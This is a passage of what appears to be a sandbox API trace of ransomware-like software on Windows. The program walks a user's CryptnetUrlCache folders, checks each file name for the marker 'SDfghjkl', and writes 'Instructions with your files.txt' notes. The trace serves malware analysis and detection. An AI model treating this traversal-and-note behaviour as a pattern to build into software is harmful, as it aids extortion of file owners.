[0131.113] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1
[0131.113] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 151
[0131.113] StrStrIW (lpFirst="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpSrch="SDfghjkl") returned 0x0
[0131.113] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1
[0131.113] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned 118
[0131.113] StrStrIW (lpFirst="F90F18257CBB4D84216AC1E1F3BB2C76", lpSrch="SDfghjkl") returned 0x0
[0131.113] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0
[0131.113] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Instructions with your files.txt") returned 118
[0131.113] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.113] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.114] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.114] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.114] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.115] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.115] CloseHandle (hObject=0x11c) returned 1
[0131.115] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.115] GetProcessHeap () returned 0x810000
[0131.115] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.115] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1
[0131.115] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned 86
[0131.115] GetProcessHeap () returned 0x810000
[0131.115] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.115] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*") returned 88
[0131.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.117] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\.") returned 88
[0131.117] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.117] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.118] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\..") returned 89
[0131.118] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 152
[0131.119] StrStrIW (lpFirst="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 152
[0131.119] StrStrIW (lpFirst="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 152
[0131.119] StrStrIW (lpFirst="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 119
[0131.119] StrStrIW (lpFirst="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned 119
[0131.119] StrStrIW (lpFirst="23B523C9E7746F715D33C6527C18EB9D", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned 119
[0131.119] StrStrIW (lpFirst="3130B1871A126520A8C47861EFE3ED4D", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 152
[0131.119] StrStrIW (lpFirst="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 152
[0131.119] StrStrIW (lpFirst="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 152
[0131.119] StrStrIW (lpFirst="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpSrch="SDfghjkl") returned 0x0
[0131.119] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1
[0131.119] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 152
[0131.119] StrStrIW (lpFirst="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 152
[0131.120] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 152
[0131.120] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 152
[0131.120] StrStrIW (lpFirst="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned 119
[0131.120] StrStrIW (lpFirst="696F3DE637E6DE85B458996D49D759AD", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 152
[0131.120] StrStrIW (lpFirst="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned 119
[0131.120] StrStrIW (lpFirst="7396C420A8E1BC1DA97F1AF0D10BAD21", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 152
[0131.120] StrStrIW (lpFirst="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpSrch="SDfghjkl") returned 0x0
